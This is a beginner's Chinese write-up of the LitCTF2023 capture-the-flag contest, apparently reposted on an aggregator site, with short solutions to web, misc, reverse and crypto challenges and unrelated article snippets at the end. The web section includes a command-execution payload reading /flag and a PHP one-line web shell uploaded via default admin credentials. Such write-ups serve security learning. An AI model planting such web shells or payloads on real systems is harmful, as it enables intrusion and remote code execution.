LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分

news2024/11/27 19:50:14

LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分

    • 前言:
    • Web:
        • 我Flag呢?
        • 导弹迷踪:
        • Follow me and hack me:
        • PHP是世界上最好的语言!!
        • 作业管理系统:
        • Vim yyds:
        • Ping:
    • MISC:
        • 签到!(初级):
        • What_1s_BASE (初级):
        • Take me hand (初级):
        • 喜欢我的压缩包么 (初级):
        • 这羽毛球怎么只有一半啊(恼 (初级):
        • 破损的图片(初级):
        • 问卷调查:
    • REVERSE:
        • 世界上最棒的程序员:
        • ez_XOR:
        • snake:
    • CRYPTO:
        • Hex?Hex!(初级):
        • 梦想是红色的 (初级):
        • 原来你也玩原神 (初级):
        • 家人们!谁懂啊,RSA签到都不会 (初级):
        • factordb (中级):

前言:

由于刚接触CTF没多久 还是属于萌新级别的(中专高中生)也没怎么打过比赛记录一下学习的过程大佬绕过即可,后续会继续加油努力。

NSSCTF平台:https://www.nssctf.cn/

PS:记得所有的flag都改为NSSCTF或者LitCTF

Web:

我Flag呢?

奇怪,放哪里了,怎么看不见呢?(初级难度)

直接F12 查看源代码 或者 ctrl+u 得到flag

在这里插入图片描述

在这里插入图片描述

NSSCTF{c7f0d1a0-0de7-4ee7-9a67-4d82f3e37a2a}

导弹迷踪:

你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~

玩了半天也拿不到啊!! F12看js源码在game.js中找到flag。

在这里插入图片描述
在这里插入图片描述

NSSCTF{y0u_w1n_th1s_!!!}

Follow me and hack me:

直接告诉了GETPOST传参的值了 直接传拿到flag

在这里插入图片描述

PHP是世界上最好的语言!!

命令执行漏洞 直接 使用:system("cat /flag"); 查看flag即可。

在这里插入图片描述

NSSCTF{fc302651-ed2a-4eae-89f2-c1a6f33d0f08}

作业管理系统:

交作业!!但是哪里不对?

一个登入页面F12 告诉了账号密码 admin/admin 尝试登入🆗 登入成功!!!

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
传个一句话木马<?php eval($_POST[A]);?> 进行访问可以使用WebSell工具连 可以可以直接HackBarflag

在这里插入图片描述

NSSCTF{2c982a5a-a153-4546-9014-da5ff71be94b}

Vim yyds:

漏…漏了!

看到vim 可以想到使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

直接访问.index.php.swp 得到一个文件放入kalistrings可以看到源代码进行代码审计分析

在这里插入图片描述
在这里插入图片描述

NSSCTF{f6f5308f-911a-4c8d-a632-fd8fae769bfd}

Ping:

看看能PING出什么
在这里插入图片描述
在这里插入图片描述

NSSCTF{6784960b-7d34-4f29-b1e6-3ef52054248b}

MISC:

签到!(初级):

关注长亭珂兰寺公众号,发送签到即可获取flag。
在这里插入图片描述

LitCTF{Welcome_t0_LitCTF2023}

What_1s_BASE (初级):

TGl0Q1RGe0tGQ19DcjR6eV9UaHVyM2RheV9WX21lXzUwfQ==  ##Base64编码解密

在这里插入图片描述

LitCTF{KFC_Cr4zy_Thur3day_V_me_50}

Take me hand (初级):

" In my dreams,I feel your light,I feel love is born again " 到最后不停的请求也只能是404罢了,不过即使如此,依旧感谢过去的相遇。
“纵然结局不如意,遇见已是上上签”。

直接查看HTTP协议 然后 找到TCP流查看 得到flag 但是url 还需要解码一下。

在这里插入图片描述
在这里插入图片描述

LitCTF{Give_y0ur_hand_to_me!!!_plz}

喜欢我的压缩包么 (初级):

可恶,学习资料的密码忘了!!!
几位数来着,哦哦,6位

先使用ARCHRP无果,在使用ziperello 根据提示6位数 得到密码:114514

在这里插入图片描述

在这里插入图片描述

LitCTF{Do-u-like-my-zip-p4ck?}

这羽毛球怎么只有一半啊(恼 (初级):

所以下半身是什么呢(ww

直接放010Editor 修改一下高度 0208
在这里插入图片描述
在这里插入图片描述

LitCTF{Fl4g_0fcourse!}

破损的图片(初级):

一个没有后缀的文件放入010 Editor 加个PNG图片格式头即可:89 80 4E 47 0D 0A 1A 0A

在这里插入图片描述
在这里插入图片描述

NSSCTF{May you, the beauty of this world, always shine.}

问卷调查:

NSSCTF{LitCTF_2023?It's_time_to_g0to_zh1hu!!!}

REVERSE:

世界上最棒的程序员:

在这里插入图片描述

LitCTF{I_am_the_best_programmer_ever}

ez_XOR:

str = "E`}J]OrQF[V8zV:hzpV}fVF[t"
flag = ""
for i in range(len(str)):
    flag += chr(ord(str[i]) ^ 9)
print(flag)

在这里插入图片描述

snake:

贪吃蛇,1000分就能得flag啦

flag = [
    30, 196,
    52, 252, 49, 220, 7, 243,
    3, 241, 24, 224, 40, 230,
    25, 251, 28, 233, 40, 237,
    4, 225, 4, 215, 40, 231,
    22, 237, 14, 251, 10, 169]
flagstr = ""

for i in range(0, len(flag), 2):
    flag[i], flag[i + 1] = flag[i + 1] ^ 136, flag[i] ^ 119

for i in flag:
    flagstr += chr(i)

print(flagstr)

LitCTF{python_snake_is_so_easy!}

CRYPTO:

Hex?Hex!(初级):

题目描述: 如果你也和我一样知道hex的话,那我觉得,这件事,太酷啦!

4c69744354467b746169313131636f6f6c6c616161217d

在这里插入图片描述

LitCTF{tai111coollaaa!}

梦想是红色的 (初级):

题目描述: 曾经我有个梦想。

社会主义核心价值观在线解码:https://atool.vip/corevalue/

自由友善公正公正敬业法治自由自由和谐平等自由自由公正法治诚信民主诚信自由自由诚信民主爱国友善平等诚信富强友善爱国自由诚信民主敬业爱国诚信民主友善爱国平等爱国爱国敬业敬业友善爱国公正敬业爱国敬业和谐文明诚信文明友善爱国自由诚信民主爱国爱国诚信和谐友善爱国自由友善平等爱国友善平等友善自由诚信自由平等爱国爱国敬业敬业友善爱国敬业敬业友善自由友善平等诚信自由法治诚信和谐

LitCTF{为之则易,不为则难}

原来你也玩原神 (初级):

题目描述:旅行者收到了一封奇怪的来信,是提瓦特大陆的语言!

其实这里正常的就是对照提取,但是其实就是题目的名称大写 (当时一个一个搞得 做完才发现 害!)

在这里插入图片描述
在这里插入图片描述

NSSCTF{YUANLAINIYEWANYUANSHENWWW}

家人们!谁懂啊,RSA签到都不会 (初级):

import gmpy2
from Crypto.Util.number import long_to_bytes

q = 12716692565364681652614824033831497167911028027478195947187437474380470205859949692107216740030921664273595734808349540612759651241456765149114895216695451
p = 12567387145159119014524309071236701639759988903138784984758783651292440613056150667165602473478042486784826835732833001151645545259394365039352263846276073

e = 65537
c = 108691165922055382844520116328228845767222921196922506468663428855093343772017986225285637996980678749662049989519029385165514816621011058462841314243727826941569954125384522233795629521155389745713798246071907492365062512521474965012924607857440577856404307124237116387085337087671914959900909379028727767057

n = q * p
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=", d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))

在这里插入图片描述

LitCTF{it_is_easy_to_solve_question_when_you_know_p_and_q}

factordb (中级):

> import gmpy2 from Crypto.Util.number import long_to_bytes
> 
> q = 275127860351348928173285174381581152299 p =
> 319576316814478949870590164193048041239
> 
> e = 65537 c =
> 87677652386897749300638591365341016390128692783949277305987828177045932576708
> 
> n = q * p d = gmpy2.invert(e, (p - 1) * (q - 1)) print("d=", d) m =
> pow(c, d, n) print(m) print(long_to_bytes(m))

在这里插入图片描述

在这里插入图片描述

最后总结一下 做了22题 自己感觉还可以 太累了 后面就不做了 毕竟周末嘛 放松一下 感谢大家观看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/524708.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java基础-面向对象总结(2)

这篇文章主要讲解 Java中的 变量方法代码块访问修饰限定符Java 是值传递&#xff0c;还是引用传递&#xff1f;类和对象的生命周期..... 希望给您带来帮助 目录 变量 成员变量与局部变量的区别 静态变量和实例变量的区别&#xff1f;静态方法、实例方法呢&#xff1f; 可以…

数据分析06——Pandas中的数据抽取

1、前言&#xff1a; 在Pandas中进行数据抽取主要有两种方法&#xff0c;一种是loc方法&#xff0c;一种是iloc方法&#xff1b;在获取数据时可以获取的数据有三种形式&#xff0c;一种是Series类型&#xff0c;一种是DataFrame类型&#xff0c;还有一种是直接获取数据值&…

Nginx make报错处理

文章目录 make报错&#xff1a;fatal error:sys/sysctl.h:No such file or directory问题处理 make 报错&#xff1a;error: this statement may fall through [-Werrorimplicit-fallthrough]问题处理 make报错&#xff1a;error: struct crypt_data has no member named curre…

DCGAN--Keras实现

文章目录 一、Keras与tf.keras&#xff1f;二、keras中Model的使用三、使用Keras来实现DCGan1、导入必要的包2.指定模型输入维度&#xff1a;图像尺寸和噪声向量 的长度3、构建生成器4、构造鉴别器5、构建并编译DCGan6、对模型进行训练7、显示生成图像8、运行模型 总结 一、Ker…

力扣sql中等篇练习(二十)

力扣sql中等篇练习(二十) 1 寻找面试候选人 1.1 题目内容 1.1.1 基本题目信息1 1.1.2 基本题目信息2 1.1.3 示例输入输出 a 示例输入 b 示例输出 1.2 示例sql语句 # 分为以下两者情况,分别考虑,然后union进行处理(有可能同时满足,需要去进行去重) # ①该用户在 三场及更多…

软件测试八股文,软件测试常见面试合集【附答案】

PS&#xff1a;加上参考答案有几十万字&#xff0c;答案就没有全部放上来了&#xff0c;高清打印版本超过400多页&#xff0c;评论区留言直接获取 1、你的测试职业发展是什么? 2、你认为测试人员需要具备哪些素质 3、你为什么能够做测试这一行 4、测试的目的是什么? 5、测…

一图看懂 attrs 模块:一个在类定义时可替换 `__init__`, `__eq__`, `__repr__`等方法的样板,资料整理+笔记(大全)

本文由 大侠(AhcaoZhu)原创&#xff0c;转载请声明。 链接: https://blog.csdn.net/Ahcao2008 一图看懂 attrs 模块&#xff1a;一个在类定义时可替换 __init__, __eq__, __repr__等方法的样板&#xff0c;资料整理笔记&#xff08;大全&#xff09; &#x1f9ca;摘要&#x1…

吴恩达|chatgpt 提示词工程师学习笔记。

目录 一、提示指南 写提示词的2大原则&#xff1a; 模型的限制 二、迭代 三、总结 四、推断 五、转换 六、扩展 七、对话机器人 吴恩达和openai团队共同开发了一款免费的课程&#xff0c;课程是教大家如何更有效地使用prompt来调用chatgpt&#xff0c;整个课程时长1个…

ctfshow周末大挑战2023/5/12

本周周末大挑战用到的函数讲解 parse_url() 作用&#xff1a;解析URL&#xff0c;返回其组成部分 语法&#xff1a; parse_url ( string $url [, int $component -1 ] ) 参数&#xff1a; url&#xff1a;要解析的 URL。无效字符将使用 _ 来替换。 component&#xff1a; …

Sentinel———隔离和降级

FeignClient整合Sentinel SpringCloud中&#xff0c;微服务调用都是通过Feign来实现的&#xff0c;因此做客户端保护必须整合Feign和Sentinel。 第一步 修改OrderService的application.yml文件&#xff0c;开启Feign的Sentinel功能&#xff08;消费者服务&#xff09; feig…

算法基础第二章

算法基础第二章 第二章&#xff1a;数据结构1、链表1.1、单链表&#xff08;写邻接表&#xff1a;存储图和树&#xff09;1.2、双链表(优化某些问题) 2、栈与队列2.1、栈2.1.1、数组模拟栈2.1.2、单调栈 2.2、队列2.2.1、数组模拟队列2.2.2、滑动窗口&#xff08;单调队列的使用…

操作系统实验二 进程(线程)同步

前言 实验二相比实验一难度有所提升&#xff0c;首先得先掌握好相应的理论知识&#xff08;读者-写者问题和消费者-生产者问题&#xff09;&#xff0c;才能在实验中得心应手。任务二的代码编写可以借鉴源码&#xff0c;所以我们要先读懂源码。 1.实验目的 掌握Linux环境下&a…

linux系统状态检测命令

1、ifconfig命令 用于获取网卡配置于状态状态的等信息&#xff1a; ens33:网卡名称 inet:ip地址 ether:网卡物理地址&#xff08;mac地址&#xff09; RX、TX:接收数据包与发送数据包的个数及累计流量 我们也可以直接通过网卡名称查对应信息&#xff1a; 2、查看系统版本的…

设计模式 - 工厂 Factory Method Pattern

文章参考来源 一、概念 创建简单的对象直接 new 一个就完事&#xff0c;但对于创建时需要各种配置的复杂对象例如手机&#xff0c;没有工厂的情况下&#xff0c;用户需要自己处理屏幕、摄像头、处理器等配置&#xff0c;这样用户和手机就耦合在一起了。 可以使代码结构清晰&a…

【人工智能】— 贝叶斯网络

【人工智能】— 贝叶斯网络 频率学派 vs. 贝叶斯学派贝叶斯学派Probability&#xff08;概率&#xff09;:独立性/条件独立性&#xff1a;Probability Theory&#xff08;概率论&#xff09;:Graphical models &#xff08;概率图模型&#xff09;什么是图模型&#xff08;Grap…

【每日一题/哈希表运用题】1054. 距离相等的条形码

⭐️前面的话⭐️ 本篇文章介绍【距离相等的条形码】题解&#xff0c;题目标签【哈希表】&#xff0c; 【贪心】&#xff0c;【优先级队列】&#xff0c;展示语言c/java。 &#x1f4d2;博客主页&#xff1a;未见花闻的博客主页 &#x1f389;欢迎关注&#x1f50e;点赞&#…

【计算机网络复习】第四章 网络层 2

源主机网络层的主要工作 路由器网络层的主要工作 目的主机网络层的主要工作 网络层提供的服务 o 屏蔽底层网络的差异&#xff0c;向传输层提供一致的服务 虚电路网络 o 虚电路网络提供面向连接的服务 n 借鉴了电路交换的优点 n 发送数据之前&#xff0c;源主机和目的主机…

MTK耳机识别

MTK耳机检测分为Eint only和EintAccdet 其中主流的是Eint Accdet(multi-key)。 图为MTK 耳机相关电路图的主要部分。 其中&#xff0c;左右声道的33pF主要滤除TDD干扰。串的10R100nf下地电容为低通滤波器。磁珠主要影响的是Fm以及音频THD性能。 Eint&#xff1a;检测耳机是否…

网络基础知识(3)——初识TCP/IP

首先给大家说明的是&#xff0c;TCP/IP 协议它其实是一个协议族&#xff0c;包含了众多的协议&#xff0c;譬如应用层协议 HTTP、 FTP、MQTT…以及传输层协议 TCP、UDP 等这些都属于 TCP/IP 协议。 所以&#xff0c;我们一般说 TCP/IP 协议&#xff0c;它不是指某一个具体的网络…

Casdoor 开始

Casdoor 是一个基于 OAuth 2.0 / OIDC 的中心化的单点登录&#xff08;SSO&#xff09;身份验证平台&#xff0c;简单来说&#xff0c;就是 Casdoor 可以帮你解决用户管理的难题&#xff0c;你无需开发用户登录、注册等与用户鉴权相关的一系列功能&#xff0c;只需几个步骤进行…